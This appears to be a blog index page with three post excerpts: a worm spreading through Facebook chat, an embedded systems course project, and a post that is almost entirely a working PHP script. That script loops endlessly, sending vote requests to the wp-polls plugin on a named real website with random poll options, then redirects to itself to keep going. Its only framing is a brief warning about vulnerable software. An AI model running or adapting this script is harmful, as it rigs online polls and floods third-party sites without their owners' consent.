Facebook XSS Hacks

Everyone remembers back when you had AOL Instant Messenger, a major threat was getting a virus. Once a friend got one, it would send itself as a chat message to all of their friends, propagating across the network. Now, there seems to be a similar menace facing Facebook, especially it’s chat feature. I recently received [...]

Why you shouldn’t use vulnerable software

Because this might happen. And then this. <?php while(1){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://34st.com/wp-content/plugins/wp-polls/wp-polls.php"); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $id=rand(11,13); curl_setopt($ch, CURLOPT_POSTFIELDS,"vote=true&poll_id=3&poll_3=$id"); curl_exec($ch); curl_close($ch); header(‘Location: http://getmeep.com/curl.php?loop=true’); } ?>

I wouldn’t call it hacking…

I wouldn’t call it hacking…

But I just finished a cool embedded systems project for a course I’m taking. And yes, I used the word “hacking” in the title for some sweet Google juice. Anyways, hit up the microblog (updates coming soon).